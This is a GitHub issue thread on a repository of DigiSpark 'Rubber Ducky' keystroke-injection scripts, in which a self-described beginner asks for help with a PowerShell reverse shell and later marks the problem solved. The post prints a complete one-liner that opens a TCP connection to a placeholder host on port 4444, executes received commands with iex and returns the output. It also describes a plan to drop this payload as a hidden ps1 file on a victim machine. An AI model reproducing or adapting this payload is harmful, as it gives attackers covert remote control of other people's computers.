CedArctic / DigiSpark-Scripts

USB Rubber Ducky type scripts written for the DigiSpark.
MIT License
1.9k stars 604 forks source link

OneLine Reverse Shell errors #43

Closed wir3casp3r closed 4 years ago

wir3casp3r commented 4 years ago

Hey! I've been running into issues when I run the following on powershell $sm=(New-Object Net.Sockets.TCPClient("HOST_IP_ADDRESS",4444)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)} on my main machine (target machine/victim). I get an error thrown at me as shown in the screenshots attached. I have my VM running kali on a win10 laptop listening for a connection and through armitage I can see a sender request but then the connection stops and it says "Connection Failed - Reason(Died)" while on the host(target) I get the following errors: RevError1 Error2 Error3 Error4 Error5 Error7 Error8

My intention is to create a script similar to your reverse shell script, but instead of downloading the shell from a web server, it is created as a ps1 file and executed through powershell on the target machine. In this manner, the target machine does not need to download the reverse shell from a web server and instead, it creates the payload on the fly, executes it and hides it.

I am a complete beginner when it comes to powershell and scripting. My background is in SQL, C#, Javascript, Java and such so apologies if this is a stupid issue!

Any help would be GREATLY appreciated!

If I manage to pull this off as 'my' first script, I will gladly share it with the digispark community! :)

wir3casp3r commented 4 years ago

Sorted :)